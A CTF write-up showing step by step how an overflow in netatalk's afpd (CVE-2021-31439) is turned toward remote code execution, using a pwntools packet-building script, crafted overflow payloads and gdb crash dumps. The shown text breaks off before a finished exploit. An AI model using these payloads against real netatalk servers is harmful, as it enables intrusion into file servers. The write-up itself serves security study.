metatalk

421 pts - 3 solves

Let’s talk in the metaverse.

nc 18.181.73.12 4869

Environment of challenge server is 5.11.0-1020-aws #21~20.04.2-Ubuntu SMP Fri Oct 1 13:03:59 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

The metatalk service uses the same dockerfile.

Attachment: metatalk.tar.gz exploit.py

Team: Super Guesser

metatalk was a challenge based on netatalk, which reminded me of CVE-2018-1160 from pwnable.tw. But this time, it was a newer version, in which that bug was already fixed.

But I assumed angelboy might just have found another bug and searched for current CVEs on netatalk-3.1.12 and found CVE-2021-31439, which mentioned “missing validation on the length of user-supplied data prior to copying it to a heap-based buffer” and the title was more specific that it’s about dsi_doff.

With this information, I searched the source code of netatalk to find out, where this might be happening

/*!
 * Read DSI command and data
 *
 * @param  dsi   (rw) DSI handle
 *
 * @return    DSI function on success, 0 on failure
 */
int dsi_stream_receive(DSI *dsi)
{
  char block[DSI_BLOCKSIZ];

  LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: START");

  ...
  
  /* read in the header */
  if (dsi_buffered_stream_read(dsi, (uint8_t *)block, sizeof(block)) != sizeof(block)) 
    return 0;

  dsi->header.dsi_flags = block[0];
  dsi->header.dsi_command = block[1];

  ...
  
  // Copy dsi_doff from the just read header
  memcpy(&dsi->header.dsi_data.dsi_doff, block + 4, sizeof(dsi->header.dsi_data.dsi_doff));
  dsi->header.dsi_data.dsi_doff = htonl(dsi->header.dsi_data.dsi_doff);

  ...
  
  /* make sure we don't over-write our buffers. */
  dsi->cmdlen = MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum);

  /* Receiving DSIWrite data is done in AFP function, not here */
  if (dsi->header.dsi_data.dsi_doff) {
      LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: write request");

      // Overwrite dsi->cmdlen with dsi_doff without any validation
      dsi->cmdlen = dsi->header.dsi_data.dsi_doff;
  }

  if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)
    return 0;

  ...
}

In the code for reading a dsi package, it will read our package and copy dsi_doff into the current dsi->header.dsi_data. It then checks for a valid size in cmdlen, but if dsi_doff is defined, it will just overwrite cmdlen without checking, if dsi_doff is in fact a valid size for the package.

dsi_stream_read will thus just take dsi_doff as the length for the package to read into the allocated buffer, allowing us to overflow it arbitrarily.

The buffer for reading dsi packages has a size of 0x101000, so specifying a dsi_doff bigger than that, will result in overwriting data behind it.

0x00007ffff7dd3000 0x00007ffff7dfc000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7eeb000 0x00007ffff7fec000 0x0000000000000000 rw- <= mmapped region for dsi buffer
0x00007ffff7fec000 0x00007ffff7fee000 0x0000000000000000 rw- 
0x00007ffff7ff4000 0x00007ffff7ff6000 0x0000000000000000 rw- 
0x00007ffff7ff6000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /lib/x86_64-linux-gnu/ld-2.27.so

In the provided Dockerfile, the dsi buffer will be in a mmapped region followed by two other rw regions.

Checking the following region shows some libc addresses

0x7ffff7fec000:	0x0000000000000000	0x0000000000000000
0x7ffff7fec010:	0x0000000000000000	0x0000000000000000
0x7ffff7fec020:	0x0000000000000000	0x0000000000000000
0x7ffff7fec030:	0x00007ffff735a779	0x0000000009691a75
0x7ffff7fec040:	0x0000000000000000	0x00007ffff735a785
0x7ffff7fec050:	0x0000000009691a76	0x0000000000000000
0x7ffff7fec060:	0x00007ffff735a791	0x000000000d696913
0x7ffff7fec070:	0x0000000000000000	0x00007ffff735a79b
0x7ffff7fec080:	0x0000000009691972	0x0000000000000000
0x7ffff7fec090:	0x00007ffff735a7a7	0x0000000009691973
0x7ffff7fec0a0:	0x0000000000000000	0x00007ffff735a7b3
0x7ffff7fec0b0:	0x0000000009691974	0x0000000000000000
0x7ffff7fec0c0:	0x00007ffff735a7bf	0x000000000d696914
0x7ffff7fec0d0:	0x0000000000000000	0x00007ffff735a7c9
0x7ffff7fec0e0:	0x000000000d696915	0x0000000000000000
0x7ffff7fec0f0:	0x00007ffff735a7d3	0x000000000d696916
0x7ffff7fec100:	0x0000000000000000	0x00007ffff735a7dd
0x7ffff7fec110:	0x000000000d696917	0x0000000000000000
0x7ffff7fec120:	0x00007ffff735a7e7	0x000000000d696918
0x7ffff7fec130:	0x0000000000000000	0x00007ffff735a7f1
0x7ffff7fec140:	0x000000000d696919	0x0000000000000000

so overflowing into those regions might open up an exploitation path.

From the pwnable.tw challenge, I already had a good idea, how DSI packages can be sent to afpd, but we would need to go a bit deeper for this challenge.

Let’s start with a simple script first, to connect to afpd and initate a session.

#!/usr/bin/python
from pwn import *
import sys

LOCAL = True

HOST = "localhost"
PORT = 5566
PROCESS = "./afpd"

DSIFUNC_CLOSE = 1
DSIFUNC_CMD = 2
DSIFUNC_STAT = 3
DSIFUNC_OPEN = 4
DSIFUNC_TICKLE = 5
DSIFUNC_WRITE = 6
DSIFUNC_ATTN = 8
DSIFUNC_MAX = 8

DSIOPT_ATTNQUANT = 1

AFP_LOGIN = 0x12
AFP_LOGINCONT = 0x13
AFP_LOGOUT = 0x14
AFP_LOGINEXT = 0x3f

def dsi_block(flags, command, requestID, doff, dsilen, reserved):
	block = p8(flags)
	block += p8(command)
	block += p16(requestID)
	block += p32(doff, endian="big")
	block += p32(dsilen, endian="big")
	block += p32(reserved)

	return block

def send_dsi_package(block_cmd, request_id, doff, dsilen, reserved, payload):
	package = dsi_block(0, block_cmd, request_id, doff, dsilen, reserved)
	package += payload

	r.send(package)

def exploit(r):	
	log.info("Open session")

	cmd = p8(DSIOPT_ATTNQUANT)
	cmd += p8(4)
	cmd += p32(0x1337)

	send_dsi_package(DSIFUNC_OPEN, 0x100, 0, len(cmd), 0, cmd)
	
	HEADER = r.recv(0x1c)
	
	r.interactive()
	
	return

if __name__ == "__main__":
	# e = ELF("./afpd")

	if len(sys.argv) > 1:
		LOCAL = False
		r = remote(HOST, PORT)		
	else:
		LOCAL = True
		#r = process("./afpd")
		r = remote("localhost", 5566)		
		print (util.proc.pidof(r))
		pause()
	
	exploit(r)

With this, we can send a DSIFUNC_OPEN request and check that the connection to the afpd service works.

After that, I tried to trigger the overflow by sending an oversized login command. Just debugged the login functionality to find out the proper parameters for the call.

We will send a DSIFUNC_CMD request with the AFP_LOGIN option, and have to provide the afp version, the login functionality we want to use and the username.

user = "metatalk"
version = "AFP2.2"
uams = "DHX"	

log.info("Overflow package data")
	
command = p8(AFP_LOGIN)
command += p8(len(version)) + version
command += p8(len(uams)) + uams
command += p8(len(user)) + user
command += "A"*(0x101000 - 0x10 - len(command))
command += cyclic_metasploit(0x4000)
	
send_dsi_package(DSIFUNC_CMD, 0x100, len(command), len(command), 0, command)

Since we know, that the DSI buffer is located in the mmapped region and has a size of 0x101000, I just appended enough junk and added a cyclic pattern to overflow into the next region.

Thread 1 "afpd" received signal SIGSEGV, Segmentation fault.

[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x47306347396246b8
$rbx   : 0x104ff0          
$rcx   : 0x00007ffff77458da  →  0x6677fffff0003d48 ("H="?)
$rdx   : 0xffffffffffffff80
$rsp   : 0x00007fffffffe810  →  0x0000000061ae0baa
$rbp   : 0x7               
$rsi   : 0x00007ffff7faf668  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rdi   : 0x7               
$rip   : 0x00007ffff7b98f36  →  <readt+230> mov edi, DWORD PTR [rax]
$r8    : 0x0               
$r9    : 0x0               
$r10   : 0x0               
$r11   : 0x246             
$r12   : 0x00007ffff7eee010  →  0x322e325046410612
$r13   : 0xc1658           
$r14   : 0x0               
$r15   : 0xffffffffffffffff
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe810│+0x0000: 0x0000000061ae0baa	 ← $rsp
0x00007fffffffe818│+0x0008: 0x0000000000000000
0x00007fffffffe820│+0x0010: 0x00007fffffffe880  →  0x0000000000000000
0x00007fffffffe828│+0x0018: 0x0000000000000080
0x00007fffffffe830│+0x0020: 0x0000000000000000
0x00007fffffffe838│+0x0028: 0x0000000800000000
0x00007fffffffe840│+0x0030: 0x00007fffffffe860  →  0xffffffffffffffff
0x00007fffffffe848│+0x0038: 0x0000000000000007
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff7b98f2c <readt+220>      mov    r15, rax
   0x7ffff7b98f2f <readt+223>      jne    0x7ffff7b98f00 <readt+176>
   0x7ffff7b98f31 <readt+225>      call   0x7ffff7b638f0 <__errno_location@plt>
 → 0x7ffff7b98f36 <readt+230>      mov    edi, DWORD PTR [rax]
   0x7ffff7b98f38 <readt+232>      mov    r14, rax
   0x7ffff7b98f3b <readt+235>      cmp    edi, 0x4
   0x7ffff7b98f3e <readt+238>      je     0x7ffff7b98f0c <readt+188>
   0x7ffff7b98f40 <readt+240>      cmp    edi, 0xb
   0x7ffff7b98f43 <readt+243>      jne    0x7ffff7b98ff8 <readt+424>
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "afpd", stopped 0x7ffff7b98f36 in readt (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7b98f36 → readt()
[#1] 0x7ffff7b7a960 → dsi_stream_read()
[#2] 0x7ffff7b7af7b → dsi_stream_receive()
[#3] 0x40b517 → afp_over_dsi()
[#4] 0x4098c6 → main()
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x00007ffff7b98f36 in readt () from /home/metatalk/libatalk.so.18
ssize_t readt(int socket, void *data, const size_t length, int setnonblocking, int timeout)
{
    ...

    while (stored < length) {
        len = recv(socket, (char *) data + stored, length - stored, 0);
        if (len == -1) {
            switch (errno) {

So, this ran into an error in readt and segfaults trying to store the error code. Let’s just try to give it a “valid” memory address, it can write to.

command = p8(AFP_LOGIN)
command += p8(len(version)) + version
command += p8(len(uams)) + uams
command += p8(len(user)) + user
command += "A"*(0x101000 - 0x10 - len(command))
command += "C"*4736
command += p64(0x644820)							# bss address for storing errno
command += cyclic_metasploit(0x4000 - 4738 - 8)
	
send_dsi_package(DSIFUNC_CMD, 0x100, len(command), len(command), 0, command)
Program received signal SIGSEGV, Segmentation fault.
__GI___libc_malloc (bytes=bytes@entry=0x7f) at malloc.c:3058
3058	malloc.c: No such file or directory.

[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x7               
$rbx   : 0x7f              
$rcx   : 0x4343434343434343 ("CCCCCCCC"?)
$rdx   : 0x0               
$rsp   : 0x00007fffffffe220  →  0x00000000007d00e7
$rbp   : 0xffffffffffffffb0
$rsi   : 0x434343434343437b ("{CCCCCCC"?)
$rdi   : 0x7f              
$rip   : 0x00007ffff73da2c4  →  <malloc+388> mov rdx, QWORD PTR [rsi+0x40]
$r8    : 0x204             
$r9    : 0x00007ffff7b5edaa  →  "libc.so.6"
$r10   : 0x7               
$r11   : 0x0               
$r12   : 0x00007ffff7ffee50  →  "/home/metatalk/libatalk.so.18"
$r13   : 0x00007ffff7df785e  →  0x3d656c69660a0000
$r14   : 0x7f              
$r15   : 0x00007ffff7df7818  →  "symbol %s version %s not defined in file %s with l[...]"
$eflags: [zero CARRY parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe220│+0x0000: 0x00000000007d00e7	 ← $rsp
0x00007fffffffe228│+0x0008: 0x00007ffff7b5cb12  →  "__stack_chk_fail"
0x00007fffffffe230│+0x0010: 0x00007ffff7b58950  →  0x00000012000000b2
0x00007fffffffe238│+0x0018: 0x00007ffff7df785e  →  0x3d656c69660a0000
0x00007fffffffe240│+0x0020: 0x00007fffffffe370  →  0x00007ffff7b5c4a8  →  0x000c001200001f3a
0x00007fffffffe248│+0x0028: 0x00007ffff7deac48  →  <_dl_exception_create_format+360> test rax, rax
0x00007fffffffe250│+0x0030: 0x000000000000001e
0x00007fffffffe258│+0x0038: 0x00007fffffffe280  →  0x0000000000000007
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff73da2b5 <malloc+373>     je     0x7ffff73da1ac <__GI___libc_malloc+108>
   0x7ffff73da2bb <malloc+379>     nop    DWORD PTR [rax+rax*1+0x0]
   0x7ffff73da2c0 <malloc+384>     lea    rsi, [rcx+rax*8]
 → 0x7ffff73da2c4 <malloc+388>     mov    rdx, QWORD PTR [rsi+0x40]
   0x7ffff73da2c8 <malloc+392>     test   rdx, rdx
   0x7ffff73da2cb <malloc+395>     je     0x7ffff73da1ac <__GI___libc_malloc+108>
   0x7ffff73da2d1 <malloc+401>     cmp    rax, 0x3f
   0x7ffff73da2d5 <malloc+405>     ja     0x7ffff73da2f8 <__GI___libc_malloc+440>
   0x7ffff73da2d7 <malloc+407>     mov    rdi, QWORD PTR [rdx]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "afpd", stopped 0x7ffff73da2c4 in __GI___libc_malloc (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff73da2c4 → __GI___libc_malloc(bytes=0x7f)
[#1] 0x7ffff7deac48 → __GI__dl_exception_create_format(exception=0x7fffffffe370, objname=<optimized out>, fmt=0x7ffff7df7818 "symbol %s version %s not defined in file %s with link time reference%s")
[#2] 0x7ffff7dde9ea → _dl_lookup_symbol_x(undef_name=0x7ffff7b5cb12 "__stack_chk_fail", undef_map=0x7ffff7ff4000, ref=0x7fffffffe3e8, symbol_scope=0x7ffff7ff4358, version=0x7ffff7ff5c48, type_class=0x1, flags=0x5, skip_map=<optimized out>)
[#3] 0x7ffff7de3053 → _dl_fixup(l=<optimized out>, reloc_arg=<optimized out>)
[#4] 0x7ffff7dea96a → _dl_runtime_resolve_xsavec()
[#5] 0x7ffff7b992e7 → readt()
[#6] 0x7ffff7b7a960 → dsi_stream_read()
[#7] 0x7ffff7b7af7b → dsi_stream_receive()
[#8] 0x40b517 → afp_over_dsi()
[#9] 0x4098c6 → main()

Ok, we broke something very seriously now, so afpd tries to allocate memory for storing an exception. It tries to allocate a buffer with size 0x7f getting a chunk from tcache, and it seems that we overflow the tcache pointer for this client thread.

Sooooooo, when I hit this segfault in the CTF, I went down the rabbit hole, and created a fake tcache in bss to fulfill all following allocations, which then finally resulted in a __longjmp for which we control all registers.

Long story short, that was a real pain ;)

For this, I had to do a valid login before the overflowing package, in which I created a fake tcache arena in the username (which must not be longer than 255 chars), which needed to be forged in a way, that it succeeds all the following allocations (thus also creating valid looking free fastbins in the username) and put a ropchain also in.

With a 255 length username that was not quite easy, thus I tried to do another read for the final ropchain, which got totally fucked up by the oversized payload, that was still in the buffer (always landing in random positions in the buffer). It took me around 4 hours to realize, that we will just not be successful in doing a second read =(

I then just went and optimized the initial ropchain to do a “dup2(socket, 1); dup2(socket, 0); execve(“/bin/sh”, 0, 0);” and also stuffed it into the username (in between tcache arena, so we also had to jump over the needed tcache pointers).

But while doing the writeup, I found, that this can be done in a much easier way. If I’d just have stepped back for a moment while doing this challenge in the ctf.

Just pass this a pointer to a blank space in bss will make it think that there are no free tcache chunks and happily just continue running into the same exception handling (though this time, we can use the username completely without any extra hurdles).

Let’s see, how that works out

command = p8(AFP_LOGIN)
command += p8(len(version)) + version
command += p8(len(uams)) + uams
command += p8(len(user)) + user
command += "A"*(0x101000 - 0x10 - len(command))	
command += cyclic_metasploit(4656)
command += p64(0x63d300)							# fake empty tcache arena
command += cyclic_metasploit(4736 - 8 - 4656)
command += p64(0x644820)							# bss address for storing errno
command += cyclic_metasploit(0x4000 - 4738 - 8)
Program received signal SIGSEGV, Segmentation fault.
__GI__dl_signal_exception (errcode=0x0, exception=0x7ffd83bc4df0, occasion=0x7f7612ee3a55 "relocation error") at dl-error-skeleton.c:95
95	in dl-error-skeleton.c

[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x3363413263413163 ("c1Ac2Ac3"?)
$rbx   : 0x00007ffd83bc4df0  →  0x0000000001d01a1b  →  "/home/metatalk/libatalk.so.18"
$rcx   : 0x1e              
$rdx   : 0x00007f7612ee3a55  →  "relocation error"
$rsp   : 0x00007ffd83bc4d50  →  0x00007f76130e9c00  →  0x00007f7612c4cdf2  →  "GLIBC_2.2.5"
$rbp   : 0x0               
$rsi   : 0x00007ffd83bc4df0  →  0x0000000001d01a1b  →  "/home/metatalk/libatalk.so.18"
$rdi   : 0x0               
$rip   : 0x00007f76125980f4  →  <_dl_signal_exception+20> mov rdx, QWORD PTR [rax]
$r8    : 0xffff            
$r9    : 0x0               
$r10   : 0x00007f7612ee369f  →  0x706e203d3d206900
$r11   : 0x00007f76130e8000  →  0x00007f7612c45000  →  0x00010102464c457f
$r12   : 0x00007f7612ee3a55  →  "relocation error"
$r13   : 0x00007f76130e9c00  →  0x00007f7612c4cdf2  →  "GLIBC_2.2.5"
$r14   : 0x00007f76130e8000  →  0x00007f7612c45000  →  0x00010102464c457f
$r15   : 0x0               
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffd83bc4d50│+0x0000: 0x00007f76130e9c00  →  0x00007f7612c4cdf2  →  "GLIBC_2.2.5"	 ← $rsp
0x00007ffd83bc4d58│+0x0008: 0x00007f7612edcd58  →   nop DWORD PTR [rax+rax*1+0x0]
0x00007ffd83bc4d60│+0x0010: 0x00007ffd83bc4df0  →  0x0000000001d01a1b  →  "/home/metatalk/libatalk.so.18"
0x00007ffd83bc4d68│+0x0018: 0x00007f76130e8358  →  0x00007f76130ec428  →  0x00007f76130e9a20  →  0x00007f76130ec170  →  0x0000000000000000
0x00007ffd83bc4d70│+0x0020: 0x00007ffd83bc4e68  →  0x00007f7612c476d0  →  0x0000001200000bb0
0x00007ffd83bc4d78│+0x0028: 0x00007f7612ecc5ad  →  <_dl_lookup_symbol_x+845> mov rdi, rbx
0x00007ffd83bc4d80│+0x0030: 0x00007f7612c4b610  →  "strerror"
0x00007ffd83bc4d88│+0x0038: 0x000000013148f100
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7f76125980eb <_dl_signal_exception+11> mov    rax, QWORD PTR fs:[rax]
   0x7f76125980ef <_dl_signal_exception+15> test   rax, rax
   0x7f76125980f2 <_dl_signal_exception+18> je     0x7f761259811a <__GI__dl_signal_exception+58>
 → 0x7f76125980f4 <_dl_signal_exception+20> mov    rdx, QWORD PTR [rax]
   0x7f76125980f7 <_dl_signal_exception+23> movdqu xmm0, XMMWORD PTR [rsi]
   0x7f76125980fb <_dl_signal_exception+27> movups XMMWORD PTR [rdx], xmm0
   0x7f76125980fe <_dl_signal_exception+30> mov    rcx, QWORD PTR [rsi+0x10]
   0x7f7612598102 <_dl_signal_exception+34> mov    esi, 0x1
   0x7f7612598107 <_dl_signal_exception+39> mov    QWORD PTR [rdx+0x10], rcx
────────────────────────────────────────────────────────────────────────────────────────────────────────

So, now we’re crashing directly in _dl_signal_exception (exactly where we want to go). Let’s just fix rax and put some bss pointer there, so it doesn’t crash. We just have to make sure, that there is a valid address, which can be dereferenced by the following movups XMMWORD PTR [rdx], xmm0.

0x000000000063d0a0│+0x00a0: 0x0000000000000000
0x000000000063d0a8│+0x00a8: 0x0000000000000000
0x000000000063d0b0│+0x00b0: 0x0000000000000000
0x000000000063d0b8│+0x00b8: 0x0000000001ce77a0  →  0x0000000000000000
0x000000000063d0c0│+0x00c0: 0x0000000001ce77a0  →  0x0000000000000000
command = p8(AFP_LOGIN)
command += p8(len(version)) + version
command += p8(len(uams)) + uams
command += p8(len(user)) + user
command += "A"*(0x101000 - 0x10 - len(command))	
command += cyclic_metasploit(4656)
command += p64(0x63d300)                                 # fake empty tcache arena
command += "A"*64
command += p64(0x000000000063d0b8)                       # bss pointer to not crash in dl_signal
command += cyclic_metasploit(4736 - 8 - 4656 - 64 - 8)
command += p64(0x644820)                                 # bss address for storing errno
command += cyclic_metasploit(0x4000 - 4738 - 8)

With this, we’ll now get smoothly through _dl_signal_exception and land here

0x00007f7612598115	99	in dl-error-skeleton.c

[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x000000000063d0b8  →  0x0000000001ce77a0  →  0x0000000000000000
$rbx   : 0x00007ffd83bc4df0  →  0x0000000001d01a5b  →  "/home/metatalk/libatalk.so.18"
$rcx   : 0x0000000001d01a00  →  "symbol strerror version GLIBC_2.2.5 not defined in[...]"
$rdx   : 0x0000000001ce77a0  →  0x0000000000000000
$rsp   : 0x00007ffd83bc4d50  →  0x00007f76130e9c00  →  0x00007f7612c4cdf2  →  "GLIBC_2.2.5"
$rbp   : 0x0               
$rsi   : 0x1               
$rdi   : 0x000000000063d0c8  →  0x0000000000000000
$rip   : 0x00007f7612598115  →  <_dl_signal_exception+53> call 0x7f761246fd80 <__longjmp>
$r8    : 0xffff            
$r9    : 0x0               
$r10   : 0x00007f7612ee369f  →  0x706e203d3d206900
$r11   : 0x00007f76130e8000  →  0x00007f7612c45000  →  0x00010102464c457f
$r12   : 0x00007f7612ee3a55  →  "relocation error"
$r13   : 0x00007f76130e9c00  →  0x00007f7612c4cdf2  →  "GLIBC_2.2.5"
$r14   : 0x00007f76130e8000  →  0x00007f7612c45000  →  0x00010102464c457f
$r15   : 0x0               
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffd83bc4d50│+0x0000: 0x00007f76130e9c00  →  0x00007f7612c4cdf2  →  "GLIBC_2.2.5"	 ← $rsp
0x00007ffd83bc4d58│+0x0008: 0x00007f7612edcd58  →   nop DWORD PTR [rax+rax*1+0x0]
0x00007ffd83bc4d60│+0x0010: 0x00007ffd83bc4df0  →  0x0000000001d01a5b  →  "/home/metatalk/libatalk.so.18"
0x00007ffd83bc4d68│+0x0018: 0x00007f76130e8358  →  0x00007f76130ec428  →  0x00007f76130e9a20  →  0x00007f76130ec170  →  0x0000000000000000
0x00007ffd83bc4d70│+0x0020: 0x00007ffd83bc4e68  →  0x00007f7612c476d0  →  0x0000001200000bb0
0x00007ffd83bc4d78│+0x0028: 0x00007f7612ecc5ad  →  <_dl_lookup_symbol_x+845> mov rdi, rbx
0x00007ffd83bc4d80│+0x0030: 0x00007f7612c4b610  →  "strerror"
0x00007ffd83bc4d88│+0x0038: 0x000000013148f100
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7f761259810b <_dl_signal_exception+43> mov    rdx, QWORD PTR [rax+0x8]
   0x7f761259810f <_dl_signal_exception+47> mov    DWORD PTR [rdx], edi
   0x7f7612598111 <_dl_signal_exception+49> lea    rdi, [rax+0x10]
 → 0x7f7612598115 <_dl_signal_exception+53> call   0x7f761246fd80 <__longjmp>
   ↳  0x7f761246fd80 <__longjmp+0>    mov    r8, QWORD PTR [rdi+0x30]
      0x7f761246fd84 <__longjmp+4>    mov    r9, QWORD PTR [rdi+0x8]
      0x7f761246fd88 <__longjmp+8>    mov    rdx, QWORD PTR [rdi+0x38]
      0x7f761246fd8c <__longjmp+12>   ror    r8, 0x11
      0x7f761246fd90 <__longjmp+16>   xor    r8, QWORD PTR fs:0x30
      0x7f761246fd99 <__longjmp+25>   ror    r9, 0x11

calling __longjmp and rdi will be just the address we passed to it +0x10.

0x00007f7612ede2c0 <+0>:	mov    r8,QWORD PTR [rdi+0x30]
0x00007f7612ede2c4 <+4>:	mov    r9,QWORD PTR [rdi+0x8]
0x00007f7612ede2c8 <+8>:	mov    rdx,QWORD PTR [rdi+0x38]
0x00007f7612ede2cc <+12>:	ror    r8,0x11
0x00007f7612ede2d0 <+16>:	xor    r8,QWORD PTR [rip+0x20c459]        # 0x7f76130ea730 <__pointer_chk_guard_local>
0x00007f7612ede2d7 <+23>:	ror    r9,0x11
0x00007f7612ede2db <+27>:	xor    r9,QWORD PTR [rip+0x20c44e]        # 0x7f76130ea730 <__pointer_chk_guard_local>
0x00007f7612ede2e2 <+34>:	ror    rdx,0x11
0x00007f7612ede2e6 <+38>:	xor    rdx,QWORD PTR [rip+0x20c443]        # 0x7f76130ea730 <__pointer_chk_guard_local>
0x00007f7612ede2ed <+45>:	nop
0x00007f7612ede2ee <+46>:	mov    rbx,QWORD PTR [rdi]
0x00007f7612ede2f1 <+49>:	mov    r12,QWORD PTR [rdi+0x10]
0x00007f7612ede2f5 <+53>:	mov    r13,QWORD PTR [rdi+0x18]
0x00007f7612ede2f9 <+57>:	mov    r14,QWORD PTR [rdi+0x20]
0x00007f7612ede2fd <+61>:	mov    r15,QWORD PTR [rdi+0x28]
0x00007f7612ede301 <+65>:	mov    eax,esi
0x00007f7612ede303 <+67>:	mov    rsp,r8
0x00007f7612ede306 <+70>:	mov    rbp,r9
0x00007f7612ede309 <+73>:	nop
0x00007f7612ede30a <+74>:	jmp    rdx

This is beatuiful for stack pivoting…

r8, r9 and rdx will be taken from memory relative to rdi (which we control) and at the end rsp will be set to r8, rbp to r9 and we’ll jump to rdx.

We just have to check for the demangling, that seems to happen there

0x00007f7612ede2cc <+12>:	ror    r8,0x11
0x00007f7612ede2d0 <+16>:	xor    r8,QWORD PTR [rip+0x20c459]        # 0x7f76130ea730 <__pointer_chk_guard_local>
0x00007f7612ede2d7 <+23>:	ror    r9,0x11
0x00007f7612ede2db <+27>:	xor    r9,QWORD PTR [rip+0x20c44e]        # 0x7f76130ea730 <__pointer_chk_guard_local>
0x00007f7612ede2e2 <+34>:	ror    rdx,0x11
0x00007f7612ede2e6 <+38>:	xor    rdx,QWORD PTR [rip+0x20c443]        # 0x7f76130ea730 <__pointer_chk_guard_local>

but, if we debug it…

────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x000000000063d0b8  →  0x0000000001ce77a0  →  0x0000000000000000
$rbx   : 0x00007ffd83bc4df0  →  0x0000000001d01a5b  →  "/home/metatalk/libatalk.so.18"
$rcx   : 0x0000000001d01a00  →  "symbol strerror version GLIBC_2.2.5 not defined in[...]"
$rdx   : 0x0               
$rsp   : 0x00007ffd83bc4d48  →  0x00007f761259811a  →  <_dl_signal_exception+58> mov rcx, QWORD PTR [rsi+0x8]
$rbp   : 0x0               
$rsi   : 0x1               
$rdi   : 0x000000000063d0c8  →  0x0000000000000000
$rip   : 0x00007f761246fd99  →  <__longjmp+25> ror r9, 0x11
$r8    : 0x3562413462413362 ("b3Ab4Ab5"?)
$r9    : 0x0               
$r10   : 0x00007f7612ee369f  →  0x706e203d3d206900
$r11   : 0x00007f76130e8000  →  0x00007f7612c45000  →  0x00010102464c457f
$r12   : 0x00007f7612ee3a55  →  "relocation error"
$r13   : 0x00007f76130e9c00  →  0x00007f7612c4cdf2  →  "GLIBC_2.2.5"
$r14   : 0x00007f76130e8000  →  0x00007f7612c45000  →  0x00010102464c457f
$r15   : 0x0               
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffd83bc4d48│+0x0000: 0x00007f761259811a  →  <_dl_signal_exception+58> mov rcx, QWORD PTR [rsi+0x8]	 ← $rsp
0x00007ffd83bc4d50│+0x0008: 0x00007f76130e9c00  →  0x00007f7612c4cdf2  →  "GLIBC_2.2.5"
0x00007ffd83bc4d58│+0x0010: 0x00007f7612edcd58  →   nop DWORD PTR [rax+rax*1+0x0]
0x00007ffd83bc4d60│+0x0018: 0x00007ffd83bc4df0  →  0x0000000001d01a5b  →  "/home/metatalk/libatalk.so.18"
